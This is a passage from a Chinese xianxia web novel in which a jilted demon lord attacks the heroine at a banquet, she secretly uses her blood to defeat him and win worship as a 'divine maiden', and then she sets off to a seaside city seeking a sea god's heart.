萧极点点头,一双黑眸看着怀钰,懒散地喝下他递过来的茶。 “嗯,你说得很有道理。” “我们相识也近百年,你好像突然变得聪明了许多。” 但这句话他没有说出口。 说实话,萧极还想多赞美几句怀钰,但是又怕激怒这个疯子,怕他真的做出来什么,他还有些无法阻拦。 从追杀怀钰,到封印怀钰,到怀钰从封印里面逃出来,近百年的时间,萧极印象中的怀钰,只能用不通人性这四个字来形容。 如今居然真的能够正常交流了,这让他竟然有些惊讶。 怀钰轻笑着,薄唇色泽如血,清俊的脸上阴鸷冰冷。 得到萧极的认可,他心中的怒气终于消减了三分。 “那便将程今越交给我吧。” “我拒绝。”萧极毫不犹豫。 怀钰突然大笑,肆意张狂,耳坠上的流苏伴随着他的动作凌乱地飞舞,他瞪大血红色的眼眸,看着萧极。 “你拒绝?” “哈哈哈哈——” 笑罢,他微微喘息,眼尾微红,轻蔑地看着萧极。 “萧极,那总不能说,你真的爱上了程今越,真的心甘情愿地被她骗?” “萧极,这可不像你啊。” “是啊,的确如此。” 萧极回答得利落,湖水波光粼粼,映衬在他浅绿色的长衣身上,眉眼如画,眼眸令人捉摸不定,但话语却又如此肯定。 怀钰有些愣住,随后嗤笑着问,“程今越说只爱你吗?她又给你许下了什么承诺,发了什么誓言?” 他言语轻佻,带着嘲讽。 萧极摇头,“并未。” 怀钰更是震惊,眼眸瞪大,“看来我是高看了界主,程今越的功力甚至还没有使出三分,界主您怕是已经自我沦陷了。” 虽然话是这样嘲讽着,但怀钰的心中却莫名其妙地畅快了许多。 他躺在椅子上,觉得吹来的风儿都甚至温和。 他就知道,程今越只对他说过这样的话,那他心中的猜疑烟消云散,他就知道程今越是被迫这样对他的。 她一定是有什么难言之隐,她应该是被萧极控制住了。 程今越爱的人只有一个,那就是他怀钰! “并非如此,我与小越情投意合,天生一对,我承认魔君大人给出的条件很诱人,但是小越是我的发妻,我又怎能将她弃之不顾?”萧极言语诚恳。 “你放屁!” “你明明就是被程今越骗了,却根本不知道,你还在这里洋洋得意,自以为得到了程今越的真心。” “明明是我和程今越先认识的!她说爱我,她说要嫁给我,但是你却横插一脚,自甘堕落,成为第三者!” 怀钰将杯子朝萧极脸上猛地摔去,他一掌击碎了桌子,将其化作粉末,萧极轻轻扭头躲开。 怀钰高挺的鼻梁泛着病态的青意,他面容冷峻,下巴线条紧绷,怒意浮现在脸上。 萧极的笑意却更深,“我不在乎任何承诺,我不信这些虚无缥缈的东西,她不是也给过你承诺吗?可她照样抛弃了你,怀钰,你何必自甘堕落,成为第三者呢?” 他原模原样地将话送给了怀钰,笑容中满是讽刺。 “你不会真的以为程今越爱你吧,程今越不爱任何人,她玩弄人心,心肠歹毒,你不会真的做梦,以为能和她长长久久吧?”怀钰强忍着怒意笑着。 “杀了程今越才对,把她交出来,她必须死!” 萧极的神色丝毫不受怀钰的影响,他轻轻地抬手,一张金灿鲜红的玉笺出现在空中。 他将其递到怀钰的手中。 怀钰一把接过玉笺,将上面的内容一眼扫过,只见上面清晰地写了两个大字。 婚契。 怀钰瞬间觉得心跳骤停,好像有一把刀捅入了他的心脏,在里面绞了又绞。他胸腔剧烈地起伏着,他有些难以呼吸。 他的手紧紧攥着婚契,将上面的每一个字都一一扫过,指节因为过度用力而泛白,骨节突出得可怕,薄唇紧抿成一条毫无血色的直线。 “谨以白头之约,书向鸿笺;好将红叶之盟,载明鸳谱;今生今世,不离不弃;永生永世,相许相从。” “此证:萧极……” “程今越……” 怀钰缓缓念出那个名字。 “怎么可能!”他的声音低沉而颤抖,透着极致的愤怒。 他将婚契狠狠地甩在地上,紧接着一脚踩了上去,用力碾压着。 “程今越怎么可能……”他哽咽着,胸腔剧烈起伏着,他不信,他还是不信。 “魔君大人,那一日,小越在您身上射的几箭,痛,难道您不记得了吗?” “我的夫人已经很明确地拒绝您了。” “婚契这东西,您是清楚的,只有双方愿意才能够订立,小越若是不爱我,又为什么要和我成婚呢?” “何必自欺欺人呢,魔君大人。” “你不够资格,小越讨厌你,厌恶你,恶心你,我知道你一定不会放过她的,我作为她的夫君,又怎么能将如此弱小的她交到你的手里呢?” 萧极笑着。 怀钰觉得心好痛,他觉得自己快要不能呼吸。 这样的婚契,他在心中幻想过无数次,在出事前,他便没日没夜地准备婚宴,他期待着程今越如何高兴地嫁给他,穿上嫁衣时有多美,他在梦中一次又一次演绎着,他时常会梦到程今越温暖的拥抱,如水的眼眸,脸上的笑。 就算在被程今越射中几箭后,他也不相信这是出自程今越的本意,他在想,小越一定是被逼无奈吧,小越一定是有自己的苦衷吧,小越明明那么爱他,他们之间明明有那么多美好的回忆。 思念像是刀片,缓慢地割着他的心,过于痛苦的时候,他也会恨,他会恨程今越为什么要骗他,但是他很快就忍住了眼泪。 他知道程今越有苦衷,所以他自己会变强,他每日剖出血肉滋养魔族,只要想到程今越,想到见到她时,她会怎样欣喜,想到程今越还在等着他,他便跟察觉不到痛觉一般。 只要他变强,他有足够的砝码,他就一定可以与萧极对抗,救出小越。 可是,这一张婚契就这样血淋淋地摆在他的面前。 这就好像在告诉他,他所做的一切都是笑话。 这么久来,他所憧憬的,渴望的,期待的,爱而不得的,痛彻心扉的,刻骨铭心的,在此刻化作了一片虚无。 “魔君大人,其实,您才是第三者,不是吗?” 第74章 怀钰从没想过会把剑指向程今越。 程今越没有在任何一个宴席里面坐下,有人去邀请她,但是都被她以身体不适婉拒了。 以大衍神女的人设,她现在应该不想待在这里,所以程今越*来到庭院门口,站在朱红的拱门前,但还未等她开口,侍卫就将她阻拦住,高大的侍卫低着头,恭敬地开口,“夫人,您还没吃多少,不如再休息一会儿?” 言外之意很简单,如她所料一般,萧极是不允许她离开这个宴席的。 不过程今越本来也没有打算离开,她喜欢这种站在漩涡之中的感觉。 越危险,她越会前进,她会尽全力不把主动权交到别人的手中。 她坐在另一个清静的亭中,静静地看着月亮,清辉洒在她碧绿的长裙上,清冷圣洁。 周围一个人都没有,但是程今越知道一定有眼睛在盯着她。 “三小姐。” 低沉醇厚的声音在身后响起。 程今越转过身,她看到孟朝站在背光处,光从他身后照来,身材高大笔挺,宽肩窄腰,利落的衣裳看得出他好看的肌肉线条。 程今越刚要开口,却又垂下眸子,将头转了回去,背对着孟朝。 “孟朝公子有什么要事吗?”她的声音温柔,但带着一丝拒绝。 孟朝脸上的久别重逢的欣喜又变得忧愁,“抱歉,三小姐,是孟朝没有保护好您。” 他低着头,双手攥紧,“在离开大衍剑宗后,这是第一次和三小姐好好见面,我很想知道三小姐的现状如何。” 程今越轻轻摇头,笑着,“我现在挺好的,孟朝公子,不用为我担心。” “我知道,三小姐对我很失望,明明三小姐一直阻拦,让我沉着冷静,让我不要意气用事,但我还是对程望出手了。” “回归青岩山后不久,孟朝只有一个念头,就是能为三小姐驱使。” 他没有离程今越很近,但他还是下意识地往程今越方向靠去,保持着一个礼貌的克制距离。 “孟朝公子,你如今已经成为青岩山的少主了,我很为你高兴,你从来都不是我的下属,也不用为我做事,更不用为我驱使。” 程今越转过身,她轻轻笑着,看着亭外的孟朝。 “不是的,三小姐,这些话听起来可能有些好笑,但是都是孟朝的肺腑之言。” “三小姐愿意扛着那么多人的压力无怨无悔地帮助孟朝,从那时起,我已经不是孟朝了,我愿意为三小姐做事,我希望能帮上三小姐……” “我原本想在青岩山稳固势力,在有保护三小姐的实力后,再将三小姐离开大衍剑宗,但是……我没有想过变故来得这么快,抱歉,三小姐,是我没有保护好三小姐。” 他深深地朝程今越弯腰鞠躬道歉,诚恳真挚。 “孟朝,这跟你没有任何关系,事实上,能保护我的只有我自己,我不需要任何人的保护,当然,我也很高兴听到你这么讲。” 程今越礼貌地笑着。 “三小姐,你在无定界真的过得好吗?” “萧极,他根本算不得一个好人,他很会骗人,三小姐,你千万不要相信他……” “三小姐,我很害怕,萧极他从未与您见过面,又谈什么喜爱呢?” “三小姐,我现在已经有能力保护你了,你和我离开吧。” 他从前从来不敢直视程今越,极少地,孟朝的眼睛看着程今越,他大着胆子看着他最牵挂的人。 孟朝的眼睛很明亮。 但是程今越的心看得比谁都要透彻。 “抱歉,孟朝。” “你没有必要为我做到这个地步的。” 她摇摇头,轻笑着。 意料之中的回答,但孟朝并未气馁。 “不,三小姐,这些都是我自愿的,这是我的私心,我不愿意把我的意愿强加给您,也不愿意把我做的事说是为了您,这一切都是我一个人想做的,我是自愿的。” 随后他顿了顿,终于把心中压抑了很久的话说了出口。 “三小姐,孟朝的心从一而终地属于三小姐,此事,天下人皆知,但孟朝唯恐三小姐不知。” 孟朝看向程今越的眼睛,坚决刚毅,正气凛然,他从来不会说谎。 程今越的眼眸微微颤抖,但也只是一瞬,随后便很快地恢复。 “其实……并不像孟朝公子想得那样,或许,您对界主有些误会。” “在很早之前,我便与界主相识,我与他结契,他帮助了我。” “走的每一步,都是我程今越一个人的选择,与任何人都没有关系,我并不后悔,你也不用为我感到遗憾,以后也不会为今天做的每一个选择而后悔。” 她站在光下,亭边的湖波光粼粼,她好像比湖水还要澄亮干净,柔光在她的脸庞上泛着。 “并且……我认为界主,是一个很好的人。” “我的确倾慕于界主,才会选择这一步。” “我过得很开心,也过得很好,孟朝公子不必担心。” 程今越说得轻缓,但每一个字都好像在孟朝的心中碾压,刺在他的肺腑之中,他觉得有些难以呼吸。 说不难过是假的,虽然孟朝从来没有哭过,可如今却觉得心中沉闷闷,他觉得好像有雨水在他心中流下,整个人变得潮湿,他整个人都变得沉沉的。 他眼眸微红,但被他生生压抑住。 他想要开口说些什么,最后又止住了。 “嗯……如果三小姐幸福的话,我也会为三小姐开心的。” “只要三小姐需要我,孟朝就一直会在。” 他点点头,正要转身,却听见不远处传来轰隆一声,巨大的灵力冲击袭击,四周脆弱的瓷器瞬间迸裂,刺耳尖锐。 “你撒谎,你撒谎,程今越,你还在骗人!” 怀钰不知道什么时候站在了远处。 萧极挡在他的身前,气氛瞬间变得剑拔弩张,周围的侍卫瞬间将怀钰围了起来。 “魔君大人为何总是不信邪,总是喜欢自欺欺人呢?” 他轻笑着,一双黑眸弯着。 怀钰离程今越很远,但是程今越知道怀钰在看她。 只是呼吸的瞬间,血光乍现,围在怀钰四周的侍卫瞬间头颅被炸开,鲜血四溢,怀钰却毫不在意,他突然笑起来,嘴角扩大,尖锐的利牙随之露出。 双目却猩红阴翳,耳边流苏飞舞,他黑色的头发随风飘逸。 “程今越,你再说一遍。” 他一字一顿。 程今越微微愣神,她紧张地往后退着,血腥气飘进她的鼻腔,她双眼瞬间泛红,泪水盈在眼眶。 “魔君大人……您为何要如此穷追不舍呢?” “求您放过我吧,我真的很害怕。” 又是巨大的一声轰动,在场的侍卫无一存活,断肢残骸零落地散布在四周。 “我让你再说一遍!” 程今越微微颤抖,萧极却瞬间挡在她的身前,高大的身影遮挡着消瘦的身姿。 怀钰的声音狠厉又尖锐,吓得程今越的泪水瞬间大颗大颗而下。 “一定要这样吗?” “我说过了,我与界主早早便相识了,我倾慕于界主。” “魔君大人,我也曾想与您好好相处,但是抱歉……我真的做不到,我太害怕了……” “对不起,我从前骗了您太多,是我的不对。” “还请您放过我,求您了……” 她哭着,整个人颤抖着,哭得梨花带雨,她躲在萧极的身后,用手抓住萧极的衣角。 萧极轻轻护着她,温暖的体温传递在程今越的身上,一双温暖的手将她的手包裹着。 血腥气飘逸,四周一片寂静,时间仿佛凝固了。 怀钰死死地盯着程今越,嘴角扯出一个扭曲而阴森的笑。 “你说你喜欢他?”怀钰的声音低沉得可怕,带着压抑不住的颤抖和愤怒。 随后他突然大笑,“你喜欢他?”,他癫狂地笑起来,带着嘲讽。 所以说,程今越说爱他的时候,拥抱他的时候,其实心里在想着另外一个男人。 少女答应嫁给恶贯满盈的魔种,魔种却真的相信了这个谎言,幻想与她的未来,幻想未来的日日夜夜。 他觉得自己很好笑,他觉得自己曾经为程今越流的血肉都是笑话。 他其实真的挺蠢的,直到程今越说出话的前一刻还在为程今越辩解。 他的唇角勾起一丝残忍的笑。 “凭什么?凭什么!” 他将手放在自己后背,骨骼碰撞的响声令人心悸,只见他的后背的血肉之下好像什么东西在涌动。 只见怀钰从脊柱中,硬生生地剥离出了一把白骨做的剑。 鲜血如注,喷洒在四周,脊柱剑带着丝丝血肉,魔气萦绕周围,恐怖无比。 “你是我的,你只能是我的!”怀钰疯狂地嘶吼着,眼白之中是猩红的瞳孔,面容越发扭曲。 “去死吧,程今越,你去死吧,你快去死啊!” 他癫狂地大笑着,浑身是血,漆黑的长发黏在他沾满血迹的脸上,眼眸之中透着彻骨的寒意。 毫不犹豫,怀钰拿着剑指向程今越。 浑身的狠戾的杀气萦绕全身,一股磅礴的魔气从他体内爆发而出,空中乌云翻滚,电蛇狂舞。 巨大的修为碾压让程今越骨骼瞬间传来剧痛,五脏六腑都传来剧痛,不过只有一瞬,萧极迅速用力护住了她全身。 “小越,别害怕。” “小越?”怀钰冷笑,青筋在他的手背上暴起,他前俯后仰地喘着气。 “好啊,你们都给我去死吧!” 他轻跳起来,一道黑色的剑气划破长空,带着猛烈的巨响,带着四周的所有事物,如大厦将倾一般朝程今越斩来。 程今越心中已了然。 怀钰是真的想杀她。 第75章 对不起,她才是赢家。 想要杀她?那就要看看你有没有这个本事了。 诚然,这是一个很冒险的选择,但是程今越最不怕的就是冒险。 破空声裹挟着腥风袭来,程今越本能地闭眼,但预想中的剧痛并没有降临,耳边传来凛冽的金石相击之声。 她颤着睁开眼,看见一把霜色的弓抵在森白剑刃的齿状凸起处,细小的冰晶顺着相接处疯狂蔓延。 “魔君大人,这世间感情讲究的是你情我愿,何必要强求呢?” “小越曾经对你有恩,你又没有损失什么,何必大打出手呢?” 萧极笑着,他将程今越护在身后。 坦白来讲,这身淡绿色的长袍很适合萧极,笑起来像一只竹叶青,将身上的恶劣与高傲都遮掩了起来,只有神秘与危险。 “你给我闭嘴!人模狗样的败类!” 怀钰勾唇笑着,萧极的话像是火上浇油,让他心中火冒三丈。 他看着萧极那双笑眼,看着最熟悉的人躲在他最厌恶的人身后。 程今越那一双眼睛从来都是温柔带笑着看着他,如今却是无尽的恐惧与厌恶。 “程今越,你应该清楚,背叛我的人,就应该去死!” 怀钰提起剑,如鬼影一般,迅速冲到萧极身前,他猛然一跳,一剑从天而降,如开天辟地之势。 萧极迅速凝起灵力,汇聚成一个冷蓝色的护盾,将两人罩在其中。 但怀钰强得过分,修为增长的速度简直是惊人,明明上一次交手,萧极还能与怀钰打个平手,如今不过寥寥数月过去,怀钰的修为已经到了他不能抵挡的地步。 这个怪物! 不知道吃了多少人,才得到这样的飞跃。 不过,又能如何呢。 清脆的铃声响起,这道剑力肉眼可见地削弱了,但是依旧和萧极僵持了许久,孟朝见情况不对,立马拔剑从身后围攻怀钰。 怀钰只好瞬间收手,灵力碰撞间,地动山摇。 “魔君大人,好像,你还没有这个本事。” 萧极看着怀钰,笑容之中是不加掩饰地嘲讽。 “是吗?那我们可以试一试。” 怀钰用剑割破自己的手掌,鲜血淋漓滚落在地上,像是格外滚烫一般,地面瞬间沸腾,变成一团黑烟,逐渐弥漫,又汇聚成蠕动的血肉,一只只魔物从黑雾中走出,血肉淋漓,恐怖骇人。 没等任何人反应过来,几十上百只魔物已经铸成,带着猛烈的杀气朝四周所有的活人涌去,残暴,血腥。 刀剑铮鸣声在四周响起,所有人都紧张起来。 “我说了,程今越,今天必须死。” 怀钰偏着头笑着,脸上沾着血,剑指着程今越。 程今越躲在萧极身后,她哭泣着,眼眸盈着泪,但这双眼睛却是笑着,她伸出半张脸看向怀钰。 白色的花向他露出了獠牙与本性。 这是赤裸裸的挑衅。 怀钰看到了。 一群魔物朝程今越的方向奔涌而去,狰狞恐怖,但她躲也不躲,就站在原地,任由杀气携带着风,吹起她的黑发。 萧极金光护身,破魔铃不断摇晃,他轻跳,一跃至空中,金弓拉满,流转着光辉,几百道箭从他手中一齐射出。 就算是在破魔铃的影响下,怀钰的速度仍然快得出奇,魔物瞬间汇作肉墙,将箭尽数扛下。 他身上仍然中了几箭,鲜血从他的身上汩汩而落,但他仍旧朝程今越冲来,笑得猖狂。 “程今越,我很想知道,你没有心吗?” “你为什么要骗我,为什么要骗我!” 目标很明确,就是程今越,他的眼里没有其他人。 萧极,孟朝,所有人都挡在程今越的身前,将她围起来。 程今越选择沉默。 但是只要怀钰的血在流,他的血落在地上,就能凝做血肉,汇成魔物。 魔物越来越多,修为恐怖如斯,仙界这边的人竟然有些不能抵挡。 “我恨你,我恨你,我恨你!” “去死!去死!去死!” 他发疯似的大叫着。 在破魔铃的影响下,他的修为受到了极大的影响,但是魔物众多,硬生生地给他铺成肉盾,他踩着尸体靠近着程今越。 “这个怪物!” “界主大人,我们如今应该如何是好!” “他根本杀不死!” 一剑又一剑落在怀钰身上,他像是不知道痛一般,拿着一把剑就从人群之中杀出去。 “哈哈哈哈——” 怀钰被阻拦着,但依旧在前进着,他双眼猩红,直直地盯着程今越。 “如何是好?” “很简单啊,我早就说过,我只要程今越一个人去死,你们只要交出程今越,让我杀了程今越,我立马撤离,并且与仙界重修于好。” 他朝所有人吼着,声音中带着止不住的笑意。 这是一场鸿门宴,早就埋伏了重兵在此,但是魔物依旧众多,只要怀钰不死,但这些魔物几乎是源源不断,虽然怀钰几乎只能挨打,但是他就是死不了,伤敌一千自损八百。 死伤惨重,有人的心开始摇摆。 “界主,此刻或许应当以大局为重!” “是啊,界主,难道您要活生生地看着弟子们赴死吗?” 声音随着越来越多人倒下而越来越多。 的确,正如怀钰当时说的。 萧极拿怀钰没有办法,他也承认这个事实,他杀不了怀钰,怀钰也杀不了萧极。 世间从来不缺乏天才,虽然他不甘心,但是依旧不能不承认这个事实。 “程今越,你不是大衍神女吗?你不是善良吗?你不是讲究大爱吗?怎么现在就开始贪生怕死起来了?” “你为什么不牺牲呢?你为什么不为了百姓去死呢?你难道就眼睁睁地看着他们去死吗?” 怀钰一剑一剑从人群里面杀出来,他一双病态的眼眸直勾勾地盯着程今越。 “程今越,你身无灵力,从来都是活在别人的庇护之下,你觉得你的命比别人更重要吗?” “仙界从来都是以修为和实力说话,为什么一群修为高强的人要为了你去死呢?” 他笑起来,朝周围的人说着,声音带着蛊惑。 “别听他挑拨离间!不要因为魔种的话离间我们!”孟朝迅速开口制止。 程今越泪水涟涟,萧极轻轻回头,看了一眼她。 这是在问她,要做什么选择。 说实话,她和萧极之间只有薄薄的情谊,谁都知道对方不是什么好人,都担心着对方会不会偷偷给自己一刀。 按照她的想法,她以为萧极会直接果断地将自己交出去,这才符合她对萧极的基本认知。 毫不犹豫地抛弃,随心所欲地利用。 因为程今越对萧极来说,什么都不是,也没有什么好处。 但是萧极竟然没有。 但不好意思,程今越赌赢了。 她抬起头,轻轻朝萧极摇头。 “我不想死。”她朝萧极做出口型。 程今越坦白,她不是什么善良温顺之人,在关键时刻也不需要演,其实萧极也知道。 她不想死,就这么简单,没有任何其他的理由。 程今越所做的一切都是为了好好地活着。 萧极突然一笑,“好。” “程今越,你大可放心,有我在,你死不了。” 萧极觉得自己疯了,理智告诉他,这是错的。 但是他的本能告诉他,他偏不,他就是不甘心,他不想将程今越交出去。 是说不清道不明的各类情绪交织在一起。 “程今越,你现在怎么不说话了?” “是不是已经演不下去了?还想继续骗下去吗?” “你把所有人骗得团团转,什么温柔,什么善良,都是假的,你自私自利,你只爱你自己!” 他的脸一半被血光映得猩红,一半在昏黄的月光下,眸光森寒刺骨。 仙界弟子死伤越来越多,还有人已经不愿护着程今越。 但怀钰的目的很简单,他只想杀了程今越。 怀钰浑身是血,从人群之中杀出来,越来越近,那张熟悉的脸就要出现在他的跟前。 萧极抵挡住怀钰,朝他射出百箭,孟朝迅速挡在程今越身前,拿着剑朝怀钰刺去。 破魔铃一直在响,猩红的血从他的喉咙里涌出,渗在唇边。 程今越就这么看着他,不躲不藏。 声音震耳,只听见血肉撕裂的声音,十几支箭射进怀钰的胸口,鲜血淋漓,孟朝见状,朝怀钰背后捅入一剑,贯穿了他的腹部。 但怀钰就像感受不到痛一样,整个人发疯似的大笑着,他没有看任何人,只是直勾勾地看着程今越。 他身上的血肉从他腹部涌出,化作一只手,拿着那把脊柱剑,穿梭过所有人群,直直地刺进程今越的胸口。 “去死吧,程今越!” “去死去死去死去死!” 所有人震惊。 程今越却一笑。 就是这一刻。 她将血汇聚在一起,一瞬之间,鲜血腐蚀着这把脊柱剑,以极快的速度侵蚀着握住脊柱剑的血肉。 瞬间脊柱剑变得格外破碎,零落地洒在地上。 程今越立马将血注入萧极手上的破魔铃。 破魔铃瞬间散发圣光,铃声更加清脆动人。 怀钰瞬间神色一怔,一口血从他的喉咙里涌出,整个人瞬间跪倒在地上,黑色的头发贴在他鲜血淋漓的身上。 “什么……?” 大片魔物伴随着铃声消失在空中。 他抬起头,难以置信地看着程今越。 一双红色眼眸惊讶又疑惑,随后他又很快地笑起来。 萧极反应得很快,他瞬间拉起长弓,万箭齐发。 程今越捂着胸口,脸上的泪痕还没有干,整个人却轻笑着,她瘫倒在地上,脸色苍白。 萧极迅速为程今越疗伤,将她抱在怀中。 所有人这才反应过来发生了什么,诧异又欣喜。 所有人高举着双手,哭着,跪着。 “大衍神女!神女殿下!” “是神女殿下救了我们!” 第76章 永远缠着你,像鬼一样。 程今越醒来的时候,只觉得浑身都很疼,好像浑身的骨头都断掉了,她几乎不能动弹。 是她很熟悉的痛觉,程今越已经习惯了。 她脸色苍白如纸,毫无血色,几缕凌乱的发丝散落在脸颊。 程今越头有些痛,她不知道自己睡了多久,她下意识地坐起身来,除了浑身的疼痛,还有一双宽厚的大手将她扶起来。 随后她便看到萧极坐在她的床边,手上端了一碗还剩一半的药,而程今越这才发觉自己的唇边微微湿润,喉间微苦。 萧极看到程今越看向他的眼神里带着些许疑惑,他黑眸之中带了一丝笑意,他将药舀了一勺,喝了一口,“夫人,放心,没毒。” 程今越被他逗笑,随后伸手想要接过萧极手中的药碗,对方微微后退。 萧极摇摇头,唇边挂着懒散的笑意,“照顾夫人是我应该做的。” 他格外有耐心,将药一勺一勺喂到程今越口中,姿态亲昵。 程今越没有说话,她很累,随意萧极想要怎么样,她只是配合着。 随后一张桌子摆在了程今越面前,上面摆满佳肴,萧极坐在她的对面。 说实话,萧极极少与程今越一起面对面吃饭,因为萧极宗很忙,并且他已经辟谷,只有程今越才需要吃饭。 但无所谓,随便萧极想干嘛。 程今越方要开始用膳,却发现桌上的菜肴有些奇怪。 虽然程今越总是颠沛流离,一路上没怎么吃过饱饭,但也是有过一段时间的安乐生活,近十年间,她都和母亲生活在一座南方的小城之中。 “宫里来新厨子了吗?”程今越问。 这不是出自无定界厨子之手。 所有的菜都是这座南方小城的吃食,程今越一边吃着,一边有些疑惑。 越是美好,就越是珍贵,但她的脸上没有任何变化,只是淡然地吃着,但心却突然一悸。 说不怀念是假的,程今越不是圣人,她有感情。 并且,这些菜色香味俱全,手艺格外不错,程今越忍不住多尝了几口。 “程今越。”萧极突然笑起来。 程今越有些愣地看向他。 “其实我真的很讨厌别人当着我的面演戏。”他眼眸弯弯,话带着笑,却没有冷意。 说实话,萧极知道程今越一直在演戏,他想知道程今越到底能演多久,到底在什么时候才会露出马脚,他一直在等,他很好奇。 但是他唯独没有想到程今越会在这一刻露出马脚,这让他都觉得有些好笑。 程今越瞬间明白了萧极的意思,“哦,这是你特地请来的厨子?” 程今越索性不装了,她大口吃着,“我很喜欢。” 她知道她的过去是瞒不住的,只要萧极想查,都可以查出来。 “想找到又干净又可靠又值得信赖的厨子也是一件很难的事,小越,用人是一件需要谨慎的事情。”萧极笑着,一双黑眸看着她。 程今越微微蹙眉,她搞不懂萧极,“界主果然是万事都格外谨慎,几乎都快要事事亲为了。” 她刚说完,自己便愣住了。 因为她已经感知到了萧极身上与这些菜肴相同的气息。 “是,的确是我亲手做的。”萧极将菜往程今越碗里夹着。 程今越突然有些毛骨悚然,“谢谢,用心了。” “不会害死你的。”萧极看着程今越微变的脸色,他笑着。 当然不是因为这个。 只是程今越觉得,萧极可以杀了程今越,可以折磨程今越,当然也可以给程今越各种珍宝,送她千山万水。 怎样都可以,但唯独不是给她做饭。 还是她喜欢的平常烟火气的饭菜。 这样的事,她几乎只和母亲做过。 这样亲密的关系让她有些无所适从,这样是否有些过于暧昧,过于亲密。 不过好在,这样的日子不算多,或许只是趁着程今越重伤,萧极才会偶尔为程今越做一次饭。 程今越伤得很重,这一剑是实打实地刺进了她的胸口。 她脸色苍白,黑色的长发随意披在肩上,这次受伤似乎没给她的生活带来什么改变,程今越依旧坐在窗边看着书,光从窗外照射到程今越的身上,她发着光,清冷干净,又破碎。 她宫殿中的人依旧很少,格外安静,只是多了一个人。 弱者是没有话语权的,在任何地方都是如此。 就算程今越多么温柔善良,多么貌美动人,都是一片虚无。 在生死面前,唯有修为才是真的。 所以程今越需要一个证明自己的机会。 可是她太弱了,唯一有用的就是身上的血,所以她苦思冥想,应该要在怎样一个条件下,她才能够拥有一个机会。 她在等。 如今终于等到了。 长明族的血天生纯净,克制世间所有的毒,所有的魔气,这只破魔铃便是由长明族人的鲜血凝成,几乎是用尽了百仙的心思,精雕细琢,用尽天下阵法炼制。 怀钰强得令人发指,他能从破魔铃的封印下逃离,到渐渐摆脱破魔铃的追踪,到如今,甚至能够强行抵抗一段时间破魔铃的压制。 十足的怪物。 但是程今越用自己的血强行加强一段时间破魔铃呢? 坦白来讲,程今越只有假设,没有实践,她也没有办法去实践。 所以一切都是赌注,但是她成功了。 但是这个剧本太无聊了,大衍神女压制了魔君。 听起来也一般。 但若是让众人先经历生死,经历绝望,希望一点点被碾碎后,在黑暗之中伸出来的稻草才是最救命的,最令人刻骨铭心的。 程今越最清楚这个道理了,这是她百玩不腻的把戏。 不过这样还不够,有些生硬,所以她受了怀钰的那一剑,她还很担忧怀钰不会朝她动手,幸好一切都如她所愿。 她越惨,伤得越重,越能体现她的善良,她的无私,她的奉献,她就越好博得这个名声。 众人得救了,所有人都将崇敬的目光放在程今越身上,她收获所有的功与名。 怀钰重伤,落荒而逃,魔族的实力也一并削弱了很多,作乱的魔物瞬间大大减少。 这并不难猜测,魔族新生的魔种,必然是由怀钰用血肉滋养生长强化出来的,只要怀钰受了伤,魔族必然实力大减。 在程今越有心的推波下,大衍神女的名字越传越远,传遍人间的每个角落。 大衍神女的庙堂一座一座地建立起来,飞檐斗拱,气势恢宏,红墙金瓦在日光下熠熠生辉,从山的这头绵延到山的那头,跨越一条条江河,神话传说伴随着香火蔓延,势不可挡,信徒绵延不绝,宛若燎原之势。 有些好事不说出去,是没有人知道的,她太会掌握人心了,她太知道世人喜欢什么样的故事,喜欢什么样的形象。 仙门之中大多不在乎这些空誉,讲究谦虚内敛,但是程今越很需要。 她需要人间信徒的信仰,她能获得愿力,尽管愿力格外微弱,但是万万的人汇集起来,也是格外强盛的力量。 程今越短时间内不需要为灵力发愁了,也不用再物色目标去获得灵根了。 但是还不能止步,留给她的时间太少了,她要比所有人都快,比所有人都勤奋,比所有人都用力。 她的目标只有一个,那就是杀了怀钰,夺得他的灵根。 怀钰的灵根与她的气息已经格外融洽,不会出现排异的现象了。 但是用平常的刀,是无法剜下这只怪物的血肉与灵根的,她需要特制的刀。 一把干净又坚硬的无垢之刀。 程今越的感知力强得发指,她有怀钰的血,她熟悉怀钰的气息,她每日都在无定界的书卷中穿梭,寻找有用的东西,再用感知力察觉其是否能够作为刀的炼制材料。 终于,她找到了。 无定界的东方,有一处海,这片海名叫泽宁海,这一片附近最初不过是一个小渔村,海中常有海妖作祟,村中人信仰一位海神,名为“玄牝”,于是村中人年年将少男少女献祭给海神,过着算是平和的日子。 没有人想到,有一日祭祀后,海神真的显灵了,海中出现了一种鱼,名叫泽宁鱼,声音如婴儿啼哭声,拥有金鳞,全身上下都拥有灵力,能够提升修仙者修为,尤其是泽宁鱼都拥有一颗晶莹剔透的心,如宝石一样,干净纯洁,坚硬无比。 此物一出,迅速吸引天下众人,泽宁海周围的城镇也随之发展,还算得上发达。 但要杀怀钰,泽宁鱼的心可还不够。 她要这位海神“玄牝”的心。 程今越一直等着机会,终于,萧极又要忙碌起来了,魔族再次蠢蠢欲动。 “界主,我想出去走走。” 程今越看向萧极,她握住萧极的手。 程今越很聪明,她先说想要去外面,萧极意料之中地拒绝了。 她随即折中,说想要去无定界的四处转转。 萧极想了想,最后点了头。 程今越开心地握着他的手,踮起脚,轻轻朝萧极的脸上点上一吻。 “谢谢你,萧极。” 清香落在他的鼻腔之中,渗入他的大脑,暖光从窗外射进,照在两人的脸上,风轻轻吹动程今越的头发,萧极看着她亮闪闪的眼眸,他突然听到了自己的心跳。 他嘴角微不可察地上扬。 不过程今越没有注意到。 她身上的伤还没有完全好,但并不妨碍她第二天直奔泽宁海。 程今越喜欢安静,跟随着程今越的侍卫在暗处躲得很好,没有打扰到程今越。 可是刚落到泽宁海的当晚,伴随着海风的,是那熟悉而潮湿的阴湿注视感。 像鬼一样,如形随行。 第77章 “嫂子,好久不见。” 靠着泽宁海的城邑名叫宁城,泽宁海的名称来源也很简单,就是希望这片海能够给宁城带来福泽。 这片海也的确做到了。 程今越喜欢安静,她表面上是来休养病体的,所以并没有暴露身份。 周围人只知道东街一直空旷的闲雅小院终于住进了主人。 这座海滨之城的确热闹非凡,城墙高大,墙外海浪翻涌,城内街道交错,店铺林立,集市之中,人潮熙攘,珠翠罗绮、奇珍异宝琳琅满目。 虽说泽宁鱼是宁城最独特的珍宝,但并不是人人都能售卖,这样珍贵的东西,都是被权贵垄断了。 程今越走进万锦楼,宁城最有名的贩卖奇珍异宝的地方。 泽宁鱼的心脏是招牌,放在二楼的柜子中,不能够直接触碰。 就算是隔着橱窗看,也能看出这颗心脏宛如晶莹剔透的宝石,阳光透过宝石,五彩斑斓,格外好看。 